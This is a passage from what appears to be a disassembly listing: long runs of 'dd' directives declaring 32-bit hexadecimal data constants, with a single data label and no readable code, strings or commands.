0E488FCD3h, 7100B453h, 0D8C80627h, 3CD9ABD2h dd 4E0629C4h, 28CFB94Dh, 0EF30A3F8h, 0FE40188Dh, 998EE1D0h dd 0D30058E3h, 3A04E57Bh, 0DB38F61Ch, 7DBDDD09h, 13A97B83h dd 919B8FEh, 8680F9C2h, 936DC117h, 47588392h, 0F8309860h dd 1F3CC68Dh, 216B3Fh, 6CF54B52h, 0A9F885FDh, 0CB04340Ah dd 0D200949Bh, 0C1367C88h, 3F3700CEh, 1FCFA9Ah, 0CF504BD3h dd 4221FD48h, 93810478h, 7D0F0169h, 0C89DCB6Eh, 0E8879853h dd 888DC35Fh, 872CF4Bh, 0E50EC0E7h, 829C9F27h, 6881D48Ch dd 0B66938E1h, 0A24E7D02h, 0F8808A7Ah, 152BE420h, 0A50BDB03h dd 98503C48h, 46BE5Ch, 3DA48772h, 1EE544BDh, 0BA833Eh dd 6CBCCAA3h, 0AF5E96h, 2ECEE602h, 0DE228C6Dh, 8BF489A0h dd 0E9E17700h, 0DA21CA16h, 0A865079Dh, 1782B128h, 0CB85F0A1h dd 0D576D84Eh, 0EC83CC00h, 7163E204h, 406D1F43h, 8DD98036h dd 0D684C320h, 162A2F00h, 3E10C67Fh, 4FC91C07h, 0C392C719h dd 906AC76Eh, 0B57CE001h, 0B87B8A39h, 0B6310006h, 82AE17ADh dd 0DAF10154h, 39840ABh, 8563D84Ch, 1E000C72h, 9E97E020h dd 0ABB92Fh, 0DC5D49A8h, 1D0F7C9Bh, 50154200h, 0E3520E53h dd 0C34EC18h, 63B86C14h, 19004C10h, 0AE552E59h, 4E600Dh dd 26538461h, 62F20394h, 6D58BDh, 3B90AAB3h, 0B7FA7D92h dd 66004AE6h, 6772946Bh, 0F991B37h, 4C479AB2h, 1A5D6D80h dd 84001E8Ah, 0A726086Eh, 3E6A94h, 0F64C88CDh, 813DDC4Bh dd 86A28300h, 51020FC7h, 6B5A0393h, 0B482B566h, 8D57213Bh dd 0FAD3E95Bh, 11BCFECh, 40FED57Eh, 0EC9B7D71h, 4FEA14AEh dd 98191300h, 0A0084EFAh, 0B236057Ah, 0C06842CCh, 0D671375Ah dd 0A60F72EEh, 2030ED55h, 2B27156Dh, 0F1CF0F6h, 347B23A8h dd 0C640C9A0h, 5F0302EFh, 0BE9BAAC5h, 4A19F0E4h, 44F9005Bh dd 287229ADh, 1D00633Fh, 68615523h, 0F4A4E1B0h, 7C88C0D3h dd 0C014B838h, 0FB0AEE74h, 98DACEBDh, 0D1F06A03h, 55F1C026h dd 0F27CBBh, 95EB611Bh, 43C28592h, 0DEF35B00h, 94CE467Dh dd 0BB7CCAh, 0ACA32D83h, 0A4D0F0B3h, 80742600h, 529BA5DFh dd 0C895002Bh, 0A0189867h, 0FE0086E0h, 1D2F1476h, 99191Ch dd 0E1DEF1A7h, 8B08E9BEh, 0D9FCAB00h, 7FC5F9BCh, 364B5890h dd 7634C200h, 3C2C5F64h, 0CF077176h, 6A0D8AC1h, 8D382059h dd 0E942BDh, 30A151ABh, 0A09F879Ah, 94E59B02h, 80A8487Ah dd 703749CBh, 1E3D006Ah, 5E85B9C3h, 8F1EF8F3h, 0C9472FC7h dd 1FF0B3C5h, 89A4F4h, 19CF5C76h, 0AACBDC94h, 3CD13C3Ah dd 0E1730FDDh, 9EEB0338h, 64898876h, 802F0078h, 0B47FDD58h dd 0D0005EBEh, 0D95FB766h, 2CE6D10h, 39FE8B46h, 0F0871145h dd 2F16300Bh, 0E13EA094h, 43540009h, 0D50693F6h, 0ED72AEh dd 815E9C8Ch, 0DEBDA6D1h, 1BBB600Eh, 0F7C8A003h, 983729h dd 0C6A4AE63h, 0A531FAC5h, 0DE081700h, 0CB29C7D4h, 0E0220077h dd 4B488C0Ch, 0D700B7EEh, 0DC467F8Ah, 0AE8CC1Ah, 7E857D42h dd 41E30090h, 74CA644Ah, 5B546C00h, 0E888E762h, 3A1DECC7h dd 9F8081F2h, 0DD6AEC73h, 3102F12Dh, 8EFD3674h, 0B2FA6071h dd 8223002Bh, 2C3B492Fh, 0A1016487h, 0ADAB6547h, 7821EC9Fh dd 8C7DCh, 1C8F39E5h, 0E8406EF5h, 238ACE00h, 487B388Dh dd 0DC7F54E0h, 1F07AEEh, 0AC8B444Fh, 8E9C83D5h, 4262F449h dd 60FA6DB2h, 1F397BB5h, 0BDD8BF2Fh, 40EEF31Eh, 48F8667Dh dd 3D00E793h, 8E11C9A6h, 1CB97E50h, 0C59F43h, 8B949E67h dd 5F034A15h, 0CC3490CDh, 0D013D003h, 4D1A00F4h, 0F9A0C342h dd 60067B3h, 95F60E6Ah, 0E8F7E513h, 46EE8Eh, 0D7053201h dd 0A65EB288h, 0EDD83303h, 0F0137D9Ah, 0EAD942h, 787F9C50h dd 995A82DBh, 56AEAC00h, 0D12BB695h, 0CB740Eh, 0CA58747Ah dd 8DD5A53Ah, 25E24405h, 88047B4Ah, 20DCDF71h, 203B14C5h dd 2600A304h, 6BBFD56Ch, 0F0000201h, 8A48ECDh, 58F1A5A1h dd 400C6FDh, 1CC377E0h, 0D100CB89h, 4BA8DC40h, 3AA5335Ch dd 5B80249Ch, 0BF13A2D9h, 800A00Ch, 0B2390751h, 1C689125h dd 83A4B54Bh, 9A652E3h, 9398FAB8h, 0DB6E116h, 2D756B00h dd 24447D54h, 98626Bh, 66F1C8EDh, 29B09D72h, 152A4D07h dd 7DE08BCBh, 5875D96h, 0C6A22739h, 821440h, 54EEA500h dd 0EB7B8611h, 0F1AFCC00h, 0B743BC17h, 0C6139B8h, 0E343212h dd 4180BB88h, 5B6D391Ah, 56826B00h, 8693A2B8h, 34A7250h dd 635D8940h, 8A80ED0Bh, 4900B7ACh, 415313EAh, 4FABEA7h dd 4B58D3CAh, 718C90CBh, 9403DCF7h, 0A88690EBh, 0C8BDE880h dd 0E727009Bh, 0E4F915C1h, 0F50029EAh, 0A62E0DA7h, 0A595847h dd 0F75B8F3Bh, 35D00A4h, 84E8381Ch, 0AE25AC26h, 0AAE56D00h dd 2CCDF3Bh, 0B9F3368Ch, 0C08074C1h, 41481065h, 1D0AC500h dd 4919620h, 0B44200DBh, 90B07A68h, 0EF00975Bh, 615A27F4h dd 129C1A9Eh, 91430Bh, 0E5EACB08h, 9FEA5C5Dh, 216AA71Eh dd 0C26F790Fh, 40735F28h, 38BB70h, 50C61563h, 9B7C0F87h dd 0FAB70A07h, 0E047821Bh, 1128FCh, 64B40E43h, 0CFD790FDh dd 0FA838A09h, 0F48A00C9h, 1DD67674h, 0E9D1EC3h, 0C400CCFBh dd 4A383352h, 6A8EE601h, 47AE61D4h, 0DC72ECh, 0E5F0C757h dd 0E99A8B0h, 8D62E900h, 0F4D7EFB5h, 7643B834h, 0A4DF1E7Ch dd 0EB1D00BAh, 0E4640233h, 53A9FF1Eh, 0B2574940h, 134FDE4Ch dd 0BA77C61Ch, 60873B0Bh, 0F00C34FBh, 7DAD3B38h, 0D73AC58Eh dd 916E560Eh, 592EB00h, 0E7F8B870h, 0B5C21A00h, 1B306CD9h dd 0EECB047h, 0FAF35A49h, 0C06258A5h, 9C1E99ACh, 8AE26900h dd 319AB912h, 1CB8F6h, 22A9BD56h, 9730DCC9h, 1C794A5Ch dd 5B00DED6h, 0A85843A0h, 0AC72820h, 1DDB0010h, 9D8EF7CCh dd 0B601AE40h, 6DCB237Bh, 808072F1h, 74AA4C0h, 0ED02E53Ch dd 0CA4BBA82h, 0C2108312h, 2CD09D53h, 330B6C98h, 0B508C3AAh dd 28B729A0h, 0CA211D61h, 3981F4E1h, 0DE696F74h, 8365E8BAh dd 2161E800h, 7D3E12D2h, 54020053h, 0DA15C936h, 0C6F68B6Bh dd 0C0006876h, 14014AA1h, 607CCA92h, 0AA37510Bh, 355439EDh dd 5001C29Ch, 7048B81Eh, 88BA8B4Ah, 79C5116Fh, 76D50088h dd 0C87DF150h, 4946FD31h, 80E65DF4h, 6A96FC50h, 39C228DCh dd 0C7A20064h, 97A04180h, 0E50073FAh, 1C8D68BAh, 3E51B653h dd 55019D5Dh, 95272BF2h, 0B183DC3Eh, 0E6466101h, 873A5635h dd 684BF4h, 500AAF93h, 0C85A1977h, 3E0F500h, 0F29232CAh dd 39151FE9h, 0D94A005Bh, 63ED7DFDh, 0DA00D279h, 0B7EA38E3h dd 4B2E2Ch, 8528F1BCh, 24F359DEh, 5D1C38h, 962B011h, 90E14115h dd 0BD913DE7h, 0F32495BDh, 6E361CBDh, 927C00C4h, 969E3E4Bh dd 33026203h, 98E04CA1h, 0C30A97h, 393A712Ch, 7DE8C0BCh dd 1782005h, 0B84138E0h, 9EF31537h, 51C451D4h, 89E4947Ch dd 1CBC003Eh, 73A8E3E1h, 1E7A4FAEh, 0A7F1EB00h, 51EA92BDh dd 3C523115h, 0ABBF29h, 72F8A467h, 85C70008h, 17284CA3h dd 0E800FE6Fh, 2F83A268h, 71CB0820h, 0DD7E80h, 7B470986h dd 0F3A95C55h, 7A152303h, 0E8B85775h, 6FB59h, 21E4B65Bh dd 0E19C406Ah, 1C227C4Ch, 49C0B99Ah, 817936CBh, 9F240093h dd 0A4E2EE5Dh, 747BA2A5h, 0A33A3F02h, 40B528ECh, 2DF38C8h dd 0A84DB0C2h, 4440F694h, 8DA0CE22h, 0E20010F3h, 0BFF43A54h dd 0EAF70h dd 6DF556D2h, 4495D045h, 0F665B004h, 0E0C76CDEh, 0EEEF806Eh dd 138A83h, 3618866Ah, 4593B68Eh, 2BE3C80Eh, 728E762h dd 6F7DF50h, 76AF006Bh, 0EC1BA536h, 83006301h, 175044FBh dd 87D2EDh, 1D3A3318h, 9AE1CD9Fh, 830147F8h, 0B8A6786Eh dd 4AC00B68h, 9FE41EB5h, 6F130076h, 3FCBB2E3h, 430180B2h dd 0E81F3373h, 0C0709123h, 8459387Ah, 0B6A4BB00h, 93F6759Ah dd 8CDCD201h, 0DDCA04F9h, 333830h, 0D7D035A4h, 0A59A8DD9h dd 0A785B505h, 0C4000432h, 61E75968h, 40E917FDh, 0B3C4400Ch dd 778ECF60h, 0F08D5226h, 0C0DFD509h, 87330Ch, 8CC395E2h dd 0C6341A86h, 97A82000h, 0F9448013h, 0A796005Eh, 3D36FCE9h dd 0CCA8E2F6h, 2A1FA5E0h, 0CC80B5F9h, 0A0B72881h, 0D0F300F0h dd 6FAEBE27h, 0DD00242Fh, 0EA7321CEh, 39203D1Dh, 0A7804D51h dd 0DA2E9C6h, 70067F7Eh, 0A9648D25h, 28C01678h, 76C83016h dd 0E50125B3h, 930C50F5h, 2880B60Fh, 8EDCA2DAh, 0E309FA6Bh dd 6058A951h, 38F07DC8h, 25877235h, 0A17F1BCEh, 0E05F8F8Ah dd 0D900DEC6h, 0BE1F671Dh, 1FA98EDh, 0C4322B28h, 0F4AD7E16h dd 860791B4h, 0FE641446h, 0B684A02Fh, 24AF4B30h, 0FED9DCAh dd 718006A1h, 36674073h, 78CD842Eh, 0AB2A9300h, 1FCDCE8h dd 0F8BB4FB3h, 0D950D05Bh, 4D407496h, 460F04E4h, 0A032B8FCh dd 0A142C49Bh, 0C0270798h, 9972D5CAh, 0AA1FCC60h, 32255904h dd 0F9C0C999h, 416435h, 80A1BAC1h, 0EC5867EAh, 4F8F9500h dd 0A0B694B5h, 6BE23BA5h, 25E7D101h, 3057D958h, 1E2DD20h dd 66182B07h, 1760E103h, 12C4C7FEh, 0E885AFh, 0DDA7218h dd 31005A9Ch, 56B41E37h, 24F28221h, 0AD829C5h, 9C159Bh dd 697DE1F4h, 23C3972h, 8EE28044h, 3E3841EBh, 3BD700CEh dd 7AD0C19Fh, 0E00021BCh, 0FC910782h, 5C1E1951h, 4D3AE047h dd 0A25FFA00h, 8095E47Bh, 0D69ED903h, 0C8D5F0C9h, 0A430F527h dd 0E8EA98h, 0AEA8F620h, 0A7DF943Ch, 4D17EF74h, 0CC1D52ABh dd 0F33799C0h, 2D7F4DEh, 1DE812D0h, 0AC6342B1h, 82D204D0h dd 5B8D2300h, 0D1DE9324h, 0A1E10F6Ch, 1BA0153Fh, 327A53C1h dd 0E50F0D7Dh, 0C747C452h, 42F78AEFh, 1D41C691h, 0B062B9FCh dd 4822481Ah, 57E9FC04h, 80D780DEh, 0FB1D7485h, 7501BBBCh dd 641FF260h, 45EC3871h, 0FC157FD7h, 7C96B4h, 9491493Ch dd 0F912B741h, 6000F18Eh, 0CF65825Bh, 0B1901BFh, 0A253B85Dh dd 7B71C4D6h, 0EF729900h, 0F82823C6h, 17610C81h, 5010BC77h dd 10087B00h, 0A7FB988Eh, 0C7D0000Eh, 0BC9BF2Ah, 5C00BC5Ah dd 0B3D10513h, 5D7E7Ch, 0DC9EB029h, 0EBB6F8B1h, 2F15A100h dd 248D9F51h, 0D8C024AEh, 0DDD30170h, 28CD58E8h, 0CB910E70h dd 7EDEA0D1h, 31FEE1h, 13946D61h, 2E65678Dh, 1953B27h dd 48AC2218h, 48A74420h, 0BA84F096h, 5CB100A5h, 0CBEF20h dd 0FABC4AD2h, 0AB7AEC6Dh, 0F5149EFAh, 0B4AC73h, 866708F0h dd 6EA9A6h, 16EEC49Fh, 0FE8FA084h, 6638F400h, 0C718EFD7h dd 5DC9658h, 80F02351h, 0C17F0F96h, 1AD11F00h, 0A8CE5B84h dd 7BE714E9h, 9D01E44Bh, 269C3054h, 0FE4FC4E1h, 8432331Dh dd 0F2D1B00h, 914E13h, 0DD2E1928h, 5B4BE5A0h, 21B82B0Fh dd 23336F7Ch, 0E62474h, 3A73ADD1h, 54A72E9h, 827C51E0h dd 24146312h, 9706C412h, 2488B2B0h, 1732E0F0h, 0D004977h dd 0AD4C7A81h, 0D5F7C8F9h, 7AD1AB0Ah, 0B11CF12Fh, 36059742h dd 6547852h, 34FB7DDFh, 2000213Dh, 4F2BFAA0h, 2EE79FCh dd 0C2645A23h, 0BCE81306h, 0F42E8B9Ch, 5303DCF9h, 0F678626h dd 0B7CC218h, 11B02A06h, 44FF6C40h, 1BF0D423h, 0F1C4811Fh dd 0A5C1E6C0h, 260CDAh, 2A5AABCFh, 3CCAE544h, 804B7C94h dd 0B0E6F434h, 0FDEF0092h, 0F1529D9Ah, 0F74AC8ABh, 8BFE1847h dd 6E0685Dh, 0EDE5000Ch, 1925BADh, 14A0B4D7h, 0EF5C55A6h dd 47C50778h, 659030D6h, 1FCE4581h, 804438A9h, 0FD0DBA27h dd 7E007897h, 52FE3D1Ch, 3ACA8C6Ch, 0DD80468Fh, 87A73CD3h dd 0D00C2B9h, 29E4D2D6h, 1EC675B5h, 4E8C7226h, 8940F7D7h dd 55E03B82h, 47A58B00h, 207A676Ch, 1AC40091h, 18CBEDA8h dd 7D079492h, 650F7007h, 803733C2h, 0CDC640B8h, 59050089h dd 0C4795FF9h, 0D006FCFh, 453EF802h, 0B872E7h, 561B201Ah dd 0E4904D07h, 3E97B3Dh, 74111312h, 7EBF9002h, 0F37603B5h dd 1428D6B8h, 6C84C0C8h, 621FF00h, 0AD717A1Bh, 970F0089h dd 1A5F0A79h, 10C059CAh, 76FF2C46h, 0E55B00CEh, 381942D2h dd 0EC1DDA27h, 0D5C71689h, 0E680292Ah, 9B40F7h, 4DB7705Dh dd 0A48C1D9Ch, 0EA07C712h, 0A08F6C0Fh, 0B92713D9h, 7F64E67Fh dd 310A0015h, 0C36F4F56h, 0DB004365h, 0CA78C4EEh, 0E2570EC0h dd 0A28A00BFh, 2FF84D91h, 3800C767h, 5A8CE520h, 1D451BA7h dd 4496FA65h, 808D553Dh, 9DCF3E49h, 0F27F6C12h, 6986CB07h dd 838E1680h, 4D75031Ch, 4AE7B69Ah, 0BCBFA816h, 1E3D6D03h dd 0D510883Ch, 0FABE0074h, 389533A8h, 221DAFFDh, 906CB642h dd 2DE9488h, 0F6AC6189h, 0D90988C0h, 6D8FEC1Ch, 5D283980h dd 0B26886B9h, 0D24B09D0h, 0E4AFB82Fh, 2D605460h, 0AD0B8FDFh dd 27AC4A56h, 81A0493Ch, 1B1469h, 6D8AD337h, 3654167Bh dd 0D4651A00h, 38A08D7Ah, 0B0107BBh, 0E03750C0h, 0B633B4B3h dd 0BCF7D500h, 4A69D059h, 32102E21h, 0F220F3Fh, 0DB565160h dd 2301DD1Ch, 0D4A9A508h, 66F86E24h, 0E44E7033h, 565500E1h dd 0E9525C3Bh, 20E97EBAh, 4400B189h, 14D8628Ch, 30B4FF59h dd 2340A830h, 0ACA0BD32h, 8700AF64h, 849FB3B0h, 71726Fh dd 80B14FE6h, 90B874F6h, 46163200h, 577B2703h, 34300087h dd 0DBDF718Eh, 0E619B6CCh, 23B0E5E2h, 0FAD34881h, 304FB252h dd 541C5648h, 85008B17h, 0EEB9A275h, 7874F7h, 10886C44h dd 14903801h, 0C3831A02h, 421DB845h, 4001414Bh, 28F639C8h dd 138392C0h, 1F9B958Ah, 0EEF15886h, 3B30DE56h, 621830FCh dd 0CA1200DCh, 0D328C1A1h, 2A1C5D54h, 394087ADh, 30868372h dd 0E90C00B9h, 639F3E92h, 2308DCAh, 12116824h, 6B69075Eh dd 16DB50Eh, 70EE6A8Eh, 511F5713h, 83F85AE7h, 444B03F3h dd 4F84A80Ch, 49D10153h, 8E6EA424h, 0A08447AFh, 0D6EEC357h dd 0B4C657h, 0A5F7057Eh, 0C322A63Bh, 0E36F0E78h, 0F4DF57B1h dd 33185E25h, 3B80669h, 0C7F883Ah, 4358D701h, 0BBFD6389h dd 0A02BF4h, 25EAD421h, 8DF40285h, 3FB85A00h, 0A4304553h dd 0A7831F6Bh, 70400A5h, 98BCEB3Bh, 171B4800h, 0AA90FF55h dd 0F9C900ACh, 0FC7B42B8h, 0B4059E8Bh, 0DA7DEFB9h, 4FF3B400h dd 0EC4ADF6h, 3ED14D9Fh, 0CD81B320h, 0A1A06045h, 98122A24h dd 0A00FBA5h, 6F4384EEh, 0E83E3AB7h, 429F0501h, 0E830DA07h dd 821D68C7h, 0CC0F06BCh, 70EDC0F8h, 45850Ch, 9D5BBF5Ah dd 4FEC08EEh, 2536EF0Ch, 3A857055h, 0EB00BA67h, 0A7A80963h dd 1501B03Ch, 0FFD1AEF4h, 9440DAD0h, 0E449A134h, 7F1F0274h dd 47103DF7h, 66C3F840h, 1326F31Ch, 6E638C80h, 0E944DCFh dd 1CA5222Ah, 0C520E5E0h, 7B03F608h, 0D5639246h, 3FE1E8D2h dd 0F8580041h, 1F9A22C0h, 9200D004h, 2E3D5A72h, 30340237h dd 46808813h, 0D03519Ch, 7EBE16CBh, 150A9065h, 9120A66h dd 9CFCDFD7h, 10A6C11h, 0A0619CCDh, 87B9F3E0h, 0B46820E7h dd 0A8517800h, 1409C319h dword_533058 dd 0BE080098h, 9715A3CAh, 7302B787h, 0A210B9E1h, 2C3AE0CFh dd 70EF031Bh, 7FCA54FAh, 36B41102h, 48B9945Fh, 0D5A224h dd 7ECA2334h, 8CD0C929h, 82E58800h, 47BB99C5h, 1D090124h dd 0D623866Ch, 7E79EC8Fh, 49DF1900h, 0CD183482h, 9260751h dd 30FCB34Ch, 472CB2C2h, 3C014890h, 0E67B5FABh, 1DFC2A73h dd 0DE190068h, 0A0CEBA16h, 82009E8Ah, 1786076Ch, 0CD76DAh dd 0EB3CCB1Eh, 46A06F04h, 949E6200h, 210DC69Fh, 0A67F0192h dd 56884796h, 0DDF36059h, 143CF4FFh, 0CC007D7Fh, 0FAAB3C4h dd 0E669A47Bh, 8EB800ADh, 155F8D99h, 6500A702h, 43B34B60h dd 5C1F72Dh, 0A152649Eh, 40EC1C48h, 0EC1590E8h, 3C018CCBh dd 0FBE9359Ah, 64F46BDBh, 0F5DE01DCh, 3F40ADA9h, 0C510CC1Dh dd 4B244200h, 9FB0ACDAh, 0F5481364h, 78EC00ABh, 0B8D4402Bh dd 8500A3EAh, 12C71BDEh, 13FD05D8h, 3B8819h, 987F2D7Ah dd 7700FCE0h, 545F9E91h, 0D771F3h, 845C6DD0h, 0FADE0844h dd 0DF515E03h, 0C86C1F14h, 1F3EC517h, 0C0DDE52Bh, 499EF248h dd 0A800A585h, 0B445A94Dh, 4823EB1h, 26D40CF4h, 10008734h dd 0CC9DB275h, 0D63DD31Dh, 0EBCAB9C2h, 8D0BE0EAh, 0A8F46Ah dd 4685E2Fh, 76D3F062h, 0EE005198h, 77B68FF5h, 33DA6Ah dd 0B5902355h, 351480D9h, 0E621F860h, 0B03C157Dh, 0FB960050h dd 66E75EE4h, 141E5CFAh, 39C07325h, 0A2567F31h, 335E2D3h dd 744AA76Fh, 18F67C24h, 40016FB0h, 1C4C3023h, 64DC110Eh dd 16DEC93h, 0B9D6E034h, 8C3092A4h, 20FE0DD8h, 0A35E801Bh dd 78CFE9E8h, 7C4092FCh, 75926BB3h, 71B70E36h, 0C818FAFh dd 0F45E40FDh, 0B100061Ch, 56BE4F20h, 4CC46F98h, 5C1D337Dh dd 0DF948FE1h, 36F74080h, 44F8ACA3h, 6D65060Fh, 883880DAh dd 6688D08h, 6333F5AFh, 62860B1h, 0E31840B5h, 87B15F38h dd 4EE93AF9h, 0DF0850h, 616F66C1h, 5AA9C7BEh, 77DB40Ah dd 9D9060B3h, 71B8A601h, 94B72FB1h, 2A985A70h, 0A900F0F6h dd 2DD8E0FAh, 4030A0h, 618F927Ch, 0D5DCB150h, 875DA00h dd 81F5295Ah, 35A600E6h, 76ECA842h, 9B00A2DCh, 3CB9990Bh dd 0E2B105B5h, 46F10041h, 11FCA1D9h, 0EB001A85h, 845FFA20h dd 3FB157C1h, 0AA92A961h, 0BB720086h, 9067634Dh, 0FA58E207h dd 5483B922h, 0C25792B0h, 11638339h, 21D90335h, 85D565E8h dd 0E46104B0h, 8CB07E2Ah, 713CF200h, 849EB210h, 0EE74C8h dd 0B3484CB7h, 61B696B9h, 3E83330Ah, 6380801Eh, 38DBCBB8h dd 7AF60A81h, 1CAD1C45h, 71A40EBh, 0A2193CB6h, 56719600h dd 0DFFAA770h, 21EA9Ah, 0FCADB223h, 8AFEE0E9h, 0EDC07500h dd 5A747A89h, 7057611h, 81986E1h, 0A07C87FBh, 0DC800B5Bh dd 56731303h, 0B3BEBF45h, 9640B7FFh, 1FAC0307h, 0CC40E283h dd 0D9D88DE1h, 0E547E700h, 0A4AFB1EBh, 0D80D038Fh, 275A6040h dd 0F8A04AE9h, 3D1D7C57h, 5C00B879h, 2F0F97FDh, 168B040h dd 0B3419624h, 70829304h, 8A7D3A57h, 0D4BB5701h, 425D2310h dd 928029B8h, 89B9CEE9h, 0C11DD236h, 520C3751h, 37F200Dh dd 5932E9A1h, 36C02360h, 4A003784h, 0D64834AAh, 3B82A293h dd 0B0806ED0h, 0E2A9148Ah, 0E06DE18h, 27D6BB58h, 78331848h dd 7E104029h, 0CE033900h, 5146C69Bh, 2419C71Dh, 5A9E41E0h dd 76118795h, 3EC0D186h, 33177477h, 0D008874Fh, 99042100h dd 0CB5F25BAh, 0CC202461h, 86AE1EABh, 501D543Ah, 83029746h dd 7F3E6FD1h, 0F10C931h, 5100D191h, 76C67A33h, 0A648F94h dd 4CB24A0Ah, 0E4630FA0h, 2ACBD4Ah, 0F8610B35h, 17B53307h dd 834F700Fh, 0C0D9E6CEh, 60FA8E0Dh, 0FB39E84Ah, 6B1EE82Eh dd 44C0D05Dh, 7D2AF0F2h, 0DE1A01E1h, 31DDA5CBh, 84CC205Ah dd 809DEA3Dh, 12764895h, 6D9F72h, 0BCA771C9h, 456C506Fh dd 80698F39h, 2CA30E2Ah, 184F90h, 0DAD3593Ah, 0A189D5D1h dd 42218B0Fh, 7593E0B1h, 1E196E57h, 80D16D4Fh, 0C3D6D564h dd 0AC005B92h, 3A35ADD2h, 0B24660h, 1E212F42h, 0D89961E5h dd 558A9FA0h, 12A21517h, 0E94FA900h, 1C889329h, 0CB6DDDEBh dd 0BFF2h, 0F8CED3BBh, 30ED0B00h, 8165752Ah, 7C4A3823h dd 0A24FD100h, 0F0BB660Eh, 0C401C03h, 11C724EDh, 115FFF29h dd 0AC11CD4Eh, 28461116h, 7E280B28h, 0A80D40BDh, 88714A1h dd 0BFB28867h, 4673F903h, 88195288h, 38D87CDh, 1A22433Dh dd 9CE9CE14h, 9349D43Bh, 80E45B38h, 222F8FE0h, 1F0E7C7h dd 96986208h, 0ECA44A54h, 3248889Fh, 281B2E3Eh, 86E4CF00h dd 4EAE61h, 0F467D47Eh, 8CD64640h, 2F0D1F4h, 0A384300h dd 0F6ABAF8Fh, 3F2C000Fh, 1DE3B9CBh, 19008BADh, 6877DDCEh dd 3A47512Bh, 9106E236h, 385C817Fh, 0CF4EA800h, 0EE01C2Fh dd 2CFC005Bh, 411D0338h, 4DEA6C27h, 9748F600h, 0ED3306B0h dd 0A3E900DFh, 8F547899h, 0D8E4A530h, 94004AE8h, 92BF935Fh dd 1E1C276Dh, 40FAEFA1h, 17E51140h, 0D92CBB6Ch, 5C80E76Ah dd 4B664419h, 0E6900DDh, 8877DCAh, 0F40040D4h, 73152F9Ah dd 1C351FA2h, 650CAFh, 18796A3Ch, 0A190056Ch, 0BF340C0h dd 0CA21F5h, 0EBD99E88h, 3264E1BFh, 0BBB6D306h, 0F07859EDh dd 0D00A1F6Fh, 8410402Ah, 0DD39A4FDh, 741E4Ch, 1680A3D5h dd 0B902BBh, 0C0DBF04Fh, 0BA68285Dh, 49096F00h, 9AA521C7h dd 7BD51C01h, 0BDF91D6Ah, 2F11798Fh, 808885h, 25A30DF6h dd 2A039C82h, 0FBF58DA0h, 0F3ABC321h, 7636C08Fh, 0F63F000Ch dd 47BA8B45h, 70B0BCC6h, 194A7D03h, 3D486F5h, 26EB0C10h dd 16E0564Fh, 8C00AB5Ah, 0A57D17A3h, 3A8799Ch, 0F2C78DCFh dd 0BA9DA0Ch, 82D3C8BBh, 0A120A200h, 0EEE2E10h, 0BE590036h dd 0F517C4B1h, 0AB01FB32h, 7A023FFCh, 0B020DF91h, 5A9F17BEh dd 922300C8h, 0C48D5518h, 6882DA00h, 9AF0A0A2h, 0C5DB1DD7h dd 0E434039h, 0E2A7D817h, 3E30DC03h, 0BC0BDAh, 0BF8012BEh dd 0C7AF36DDh, 0D1E97000h, 0D0A4C9B7h, 479066h, 0DBE1DF9Ah dd 0ECA94892h, 980A39B8h, 0DC61219Bh, 0F1E8C851h, 1F68717Eh dd 696643h, 484E9CC2h, 167D087Dh, 0A2EAD309h, 97D90390h dd 29FF14h, 755C2F18h, 4172EEh, 0CC6E7FD9h, 0FF26FD2h dd 0CA12E872h, 684723AEh, 50C742A8h, 0F5824040h, 267C03h dd 75F9B2Ah, 0CE5FEF4h, 73413805h, 0ECC0CEC7h, 70425E87h dd 1EB50081h, 71913D7Ah, 5D00DE24h, 2047D08Fh, 0D3CA28h dd 0EDFF4CBCh, 9C9BEE43h, 800F443Ah, 0A4F5224h, 8AD62Dh dd 0ABA6D184h, 0B5E43BC4h, 4E0336F2h, 0F3FDEC67h, 0EACD814Fh dd 0CFBF60h, 71C7254Ah, 33EB5BD0h, 3DD1721Fh, 0DB04A740h dd 805790h, 4A42314Dh, 82CE290Fh, 9F585200h, 540DCFACh dd 60908Ch, 7FE42505h, 0ED41A998h, 81715239h, 43376C8Fh dd 0EC30130Ah, 9B6D1D94h, 4DDF50h, 77744C0h, 6C0E1531h dd 0A096EC8Eh, 0C38771BDh, 610609CBh, 24006030h, 44E6E526h dd 9974E900h, 6C7A7C80h, 0D5CD00EDh, 64F56DEBh, 20FF303Eh dd 0A02B58Ah, 0CFA534FCh, 0A88280B1h, 0AAD867h, 2ACCDA3Ch dd 708D22DDh, 81FFF43Fh, 231176DEh, 95E104A0h, 475A5280h dd 5F5BD8E6h, 59FA1200h, 0CA705334h, 0D60A00CDh, 480E9BEDh dd 2EB85189h, 83F01339h, 1DB993E4h, 3480FC54h, 4391Bh dd 64C6AE16h, 0F4A05C4Ah, 0E63240C3h, 0B815AB71h, 1F6E1Eh dd 0F010B17Eh, 0ABAD4DB5h dd 0DE4FA60Ch, 7759C0B8h, 6257071Ch, 99F61729h, 21732580h dd 2008F7Dh, 859CA34Ah, 51DF83Ch, 0CB179712h, 78DE06EDh dd 0FA007C68h, 23C03056h, 78D7189h, 0E828D90Eh, 8C249055h dd 0B30033C9h, 95F79E67h, 16D54h, 437D7C2Dh, 0FFFA726Fh dd 42151D00h, 84161FA4h, 78546093h, 0B3430811h, 0D5C6CF00h dd 0B675F964h, 0CE18008Bh, 999CB702h, 0B4078F27h, 0AF489AB9h dd 1AF79070h, 0DF440FBEh, 0ED40C62Eh, 0DD66AC7h, 0FFFC3E00h dd 11E3C3FAh, 44D0AF0h, 29CE0DEh, 0C7EC4A44h, 938A5F60h dd 1C00E8DFh, 5B83D9AEh, 613313F5h, 80BD1D42h, 7ED84018h dd 457F79B2h, 0BC002890h, 2BAFCB47h, 2834D29Ah, 0E801CFh dd 0C22844D0h, 58DF36A7h, 61E76F1Fh, 0C7BA640h, 5D30E2h dd 63B5EF6Dh, 335E57A4h, 0AFBE0700h, 1FFA7A42h, 244F25D2h dd 20019C54h, 2C43CC18h, 0FB3BE0h, 0D6E32E79h, 1EEC59F3h dd 38CE351Dh, 170AC240h, 7DDB6A45h, 288003DCh, 4E8C66A8h dd 0E9CC1AD8h, 8AB3D700h, 814070EBh, 2DDB00C6h, 3378029Eh dd 0B5005D92h, 0AE0D0607h, 3B61B366h, 0F300575Bh, 0BE2A2236h dd 0A7003D7Dh, 0CB72F50Dh, 0AF2075h, 1CA3DFD9h, 9A9D6108h dd 7B792C1Dh, 8983FFC0h, 0AA84A10h, 0E3E4BD8Dh, 2E8A00BCh dd 0BAA53602h, 4804Ch, 0B758FFCCh, 0BB588AFh, 59FEBB87h dd 1C830Fh, 3D033613h, 8D005DDAh, 0D221EF2Ch, 0F06971FFh dd 5A5200ADh, 38F99136h, 